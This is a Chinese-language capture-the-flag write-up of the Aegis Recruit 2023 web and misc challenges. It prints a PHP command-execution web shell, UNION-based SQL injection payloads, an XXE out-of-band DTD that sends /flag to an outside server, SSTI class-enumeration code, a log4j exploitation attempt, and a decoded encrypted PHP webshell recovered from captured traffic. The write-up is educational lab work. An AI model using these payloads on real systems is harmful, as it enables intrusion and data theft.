Aegis Recruit 2023 招新 Writeup

Hello, 今天来试试 Aegis Recruit 2023 招新的题目, 网站地址是: https://recruit.aegis.show/challenges

应举办方要求, 仅提供方法思路, Flag 暂不公开

本人主要做 Web 方向的

Clickme

首先进入到了: http://139.9.212.160:18083/, 似乎只是一个静态页面, 我们开开发者工具看看.

Clickme-1

可以看到这里 click 方法监听到了一个 decryptstring 方法, 直接手动调用一下吧, 得到 Flag

Get&Post

进入到了:http://139.9.212.160:18089/

可以看到直接打印出了源码, 我们进行代码审计.

Untitled

可以看到是用的 Python 的 Flask 服务端

可以看到这个地方需要判断 Get 的 a 参数是否和 Post 的 b 参数一致, 如果一致的话 flag 会写入 Cookie, 我们来通过 Postman 发一次包,得到 flag, 顺便 Url Decode 一下

Untitled

Spider

可恶的 Shule 把 flag 偷走了,快跟着 spider 去寻找 flag 的踪迹吧!

这个地方提示了一个单词 Spider, 我们尝试跟着这个走一走, 同时用网络请求记录一下返回

y1m8B ItufiW JaU9dw QqhU39 31OzTI cswYEt Y32UXe YAHbq9 NlsmLH M2AD8G 7BMOgf 9AFJXT z8Fh7X2 TKWZnk lFAPDU

然鹅还是没有结果, 我们尝试老老实实地跟着走一遍吧, 码一段 C# 代码进行爬取

using System.Text.RegularExpressions;

Console.WriteLine("开始跟踪");
// Get string from http://139.9.212.160:19001/

var suffix = "";
while (true)
{
    var str = await new HttpClient().GetStringAsync($"http://139.9.212.160:19001/{suffix}");
    var matches = Regex.Match(str, @"<\/i> (.*)<\/div>");
    suffix = matches.Groups[1].Value;
    if (string.IsNullOrEmpty(suffix)){
        Console.WriteLine("跟踪结束");
        Console.WriteLine(str);
                break;
    }
    Console.WriteLine(suffix);
}

服了,没想到真的是暴力破解, 绕了半天, 没想到这么简单.

爬到最后就可以看到 flag 了

Upload

经典的上传类, 我们先看看前端的处理

document.addEventListener("DOMContentLoaded", function() {
      var fileInput = document.getElementById("fileInput");
      var uploadForm = document.getElementById("uploadForm");

      uploadForm.addEventListener("submit", function(event) {
        var file = fileInput.files[0];
        if (file) {
          var fileExtension = file.name.split(".").pop().toLowerCase();
          var allowedExtensions = ["webp", "jpg", "png", "gif"];
          if (!allowedExtensions.includes(fileExtension)) {
            event.preventDefault();
            alert("请选择支持的图片类型(webp、jpg、png、gif)别耍把戏哟(@_@;)");
          }
        } else {
          event.preventDefault();
          alert("请选择图片");
        }
      });
    });

可以看到这里提示支持一些图片类型格式, 不过既然能拿到后端接口, 谁还管你前端啊.

先上传一张正常的, 可以看到他返回了:

图片上传成功!保存路径:images/64fd26b32c818.jpg

真好, 还会提示你上传的文件路径

如果我们直接在请求里面改上传文件的扩展名的话, 你会发现服务端居然没有校验!

Untitled

我们干脆直接一点, 直接在前端把那段阻止的 JS 给跳掉

接下来是构建一下 php 脚本, 我们直接拿出经典的 exec 脚本

<?php
if ($_GET['cmd'] == "phpinfo")
    phpinfo();
else
    var_dump(@exec($_GET['cmd']));

上传上去之后, 先尝试 ls, 返回

string(4) "a.sh"

可是这个 sh 是一个爆破脚本??? 是谁乱上传的吗?

我们尝试输出 cat /flag, 找到 flag

Play

这个的题目提示可以看出是要考 git 泄露, 我们使用 GitHacker 进行 Git 重建

可以看到 Git Log 里面做作的信息

Untitled

我们 checkout 到 init 上面, 然后再看 flag.php 里面存在着 flag

Ez-Shell

这个是后面才有的新题, 我们也来做做

Motto

这道题看上去是 SQL 注入了, 首先判断一下注入点

可以通过 1 感受到是经历了一次转换到数字 intval ?

然而在问了出题人之后, 他提醒了我 1.1 没有被转换, 只是普通的 SQL 注入, 想难了

跑了下 Burp 和 sqlmap 都没有结果, 那只能硬上了. 等我翻翻书, 我再来找你算账.

经过了一个下午的测试, 仍然没有解开, 目前把已经得知的信息呈现下:

  • SQL 注入点在 WHERE xxxx LIKE '{$_GET['id']}';
  • 题目过滤掉了括号, information 等关键词
  • 经过了 LIMIT 对每一行进行扫了一遍没有发现 flag
  • 数据库有效结构为 3 列, 第二列为说话人, 第三列为说的话的 base64 编码后的信息
  • 返回的数组长度必须为 3
  • 数据库版本为 8.0.34, 数据地址 /var/lib/mysql/,

经过漫长的尝试过程, 发现 sys.x$schema_flattened_keys 并未被过滤且有权限访问, 我们尝试通过 UNION SELECT 来对其进行访问, 获取到数据库的相关信息, 建议把有效信息放在第二列, 第一列会忽略, 第三列会 base64 decode 成乱码, 所以拆成几句话多次访问, 请注意 -- 之后必须要一个空格!

第一句:

' and 1 = 2 union select 0,`table_schema`,1 from sys.x$schema_flattened_keys; -- 

获取到了数据库名为 flag_in_h3re, 哈哈哈,直接明示

第二句:

' and 1 = 2 union select 0,`table_name`,1 from sys.x$schema_flattened_keys; -- 

获取到了表名为 flag_table

我们大胆一点猜测, flag 肯定就在这里面了, 我们尝试直接干出来

第三句直接送走:

' and 1 = 2 UNION SELECT 0,`flag`,'a2VuZ3dhbmfms6jlhaXkuoblpb3kuYUsIOi/mei/h+a7pOS6huS4gOWghuWFs+mUruWtl+WSjOWFs+mUruihqA==' from flag_in_h3re.flag_table -- 

可以看到直接输出了 flag

回顾一下:

再回顾一下这道题, 这道题主要的坑就是在过滤掉了括号和 information, 这导致一堆内置函数不能使用, information_schema 也不能使用.

这题开始的时候是一个盲注, 主要方向就是拿到数据库的结构, 题目没有过滤单引号已经十分人性化了 /笑

在这之前磨刀不误砍柴工的是要先摸清楚后端处理的逻辑, 可以先用 GROUP BY 来探一下列数, 在用 UNION SELECT 返回一些 dummy 数据来猜测后端的结构, 可以很容易发现第二列为直接输出, 我们可以把要输出的数据放在第二列

我们接下来就开始尝试着摸数据库结构, 先试了 schema_table_statistics 发现没返回, 而后再到了题解的那个思路

总的来说这道题唯一的难点就是盲注的摸数据库的那一下, 之前走了很多弯路 /哭

unfinished_site

题目的提示映入眼帘, flag 在 /flag, 可以得知这道题是要我们可能要把文件内容进行输出

进入题目, 映入眼帘的就是一个登录框, 可以看他的 Javascript

String.prototype.trim = function() {
  return this.replace(/^\s+/, "").replace(/\s+$/, "");
}

function createXML() {
  var xml = '<?xml version="1.0"?><user>';
  var username = document.getElementById('username').value;
  var password = document.getElementById("password").value;

  xml = "info=" + xml + "<username>" + username + "<\/username>" + "<password>" + password + "<\/password>" + "<\/user>";

  return xml;
}

var xhr = new XMLHttpRequest();

function send() {
  var uri = "/";
  xhr.open("POST", uri, true);
  xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  xhr.onload = processResponse;
  xhr.send(createXML());
}

function processResponse() {
  if (xhr.status == 200) {
    alert("username or password wrong");
  }
  if (xhr.status == 302) {
    alert("login successfully!");
  }
}

可以看到他这是构建了一个 xml 来进行登录操作, 因为是 xml, 我们尝试进行 xml 外部实体注入 (XXE)

我们先用 ASP .NET Core 弄一个后端出来接受数据

在服务器上写入注入文件 inject.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://服务器地址/%file;'>">

再在 payload 中注入

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://服务器地址/inject.dtd">
%remote;%int;%send;
]>

奇怪的事情发生了, 虽然服务器成功接收到了我们的 XXE 的 Payload 并且访问并解析了 inject.dtd

这时就陷入了无限的疑惑之中了, 经过反复调试, 在 @峻诚 白 的恍然大悟下, 原来服务端不是 PHP, 于是改变 inject.dtd 的内容为

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://服务器地址/%file;'>">

于是我们后端地址日志记录到了 flag

Untitled

IncludeMe

进入之后, 就只看到了一个

Can you read me?

朴实无华, 且枯燥

然后我的做题思路, 就如下面这个代码块一样

rock-paper-scissors

Untitled

我们可以看到是个剪刀石头布的题, 先和机器猜一会儿玩玩

我们可以看到传参

Untitled

尝试使用 Postman 传一个炸裂一点的参数, 得到了报错的 stacktrace, 我们翻一翻,很容易找到了可以eval的代码点

Untitled

我们尝试枚举一下继承了 object 的所有class

using System.Text.RegularExpressions;

Console.WriteLine("开始跟踪");

for (int i = 0; i < 1_000_000; i++)
{
    var client = new HttpClient();
    var resp = await client.PostAsync("http://139.9.212.160:19000/", new FormUrlEncodedContent(new Dictionary<string, string>(){
        {"guess", $"__class__.__mro__[-1].__subclasses__()[{i}]"}
    }));
    var content = await resp.Content.ReadAsStringAsync();
    var className = Regex.Match(content, @"AttributeError: type object &#39;(.*)&#39; has no attribute").Groups[1].Value;
    Console.WriteLine($"{i} {className}");
}

TransforMe

下载到文件, 先分析 docker 配置, 可知 flag 被放置在了根目录下面, 我们尝试对 jar 进行反编译, 得到如下关键函数

Untitled

可以使用 -2147483648 过掉第一个判断, 第二个判断处为 Java 反序列化

LogMe

通过下载源码可以发现, 该项目引用了 log4j, 自然联想到了之前爆出的 log4j 的漏洞

分析发现注入点在 Header 中的 X-Forwarded-For , 再配合这个标题, 可以确认想法

通过网络上的复现教程, DNS Log 发现确实存在这个漏洞. 于是准备开始利用

但是却利用失败

Untitled

经过发现, 编译的 JDK 版本为 17, 尝试在服务器上使用 JDK 17 编译运行 exploit

MISC

签到题, GFW 两道水题, 不会没人做不出来吧

One more cat??

当猫猫注视你时, 你也在注视猫猫

当猫猫注视你时, 你也在注视猫猫

这道题可以看到是一张图片, 先看图种, 再看图片大小

我们使用 010 Editor 打开, 直接改图片大小,

Untitled

改成图片中对应的值, 即可看到 flag, 注意大小写

Virus - 1

这是一道流量分析的题目, 我们可以使用 Wireshark 打开流量截获包, 但是我更喜欢用 Fiddler 打开

我们可以看到几次的请求数据

Untitled

我们可以先从第7号请求发现是一个 ping 命令的命令穿越漏洞, 输出了一个病毒文件到服务器, 我们将其进行 base64 解码后, 发现是

<?php @error_reporting(0);session_start();$key="c4f675a3f7e7b997";$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++){$post[$i]=$post[$i]^$key[$i+1&15];}}else{$post=openssl_decrypt($post,"AES128",$key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p){eval($p."");}}@call_user_func(new C(),$params);

我们稍微对其修改, 便可以使用他来解密请求流量了, 注意要开启 openssl 扩展!

<?php
$key = "c4f675a3f7e7b997";
$post = "BODY GOES HERE";
$post = openssl_decrypt($post, "AES128", $key);
var_dump($post);

我们一次一次分析, 可以发现, 原来出题人也在找 flag /笑

我们尝试一条指令一条指令解析, 可以发现攻击者在 119 body length 的那个里面将其返回了, 我们将它解密即可得到 flag1

Virus - 2

Virus-1 的请求最后, 有一个对 flag 压缩包的下载请求, 我们将他的 response body 存储下来, 发现是一个加密的压缩包, 在试验过是否是伪加密以及对文件分析之后我们还是需要将密码弄出来

分析第二题的 log.pcap 文件发现是键盘和鼠标的 USB 流量, 使用 Wireshark 进行分析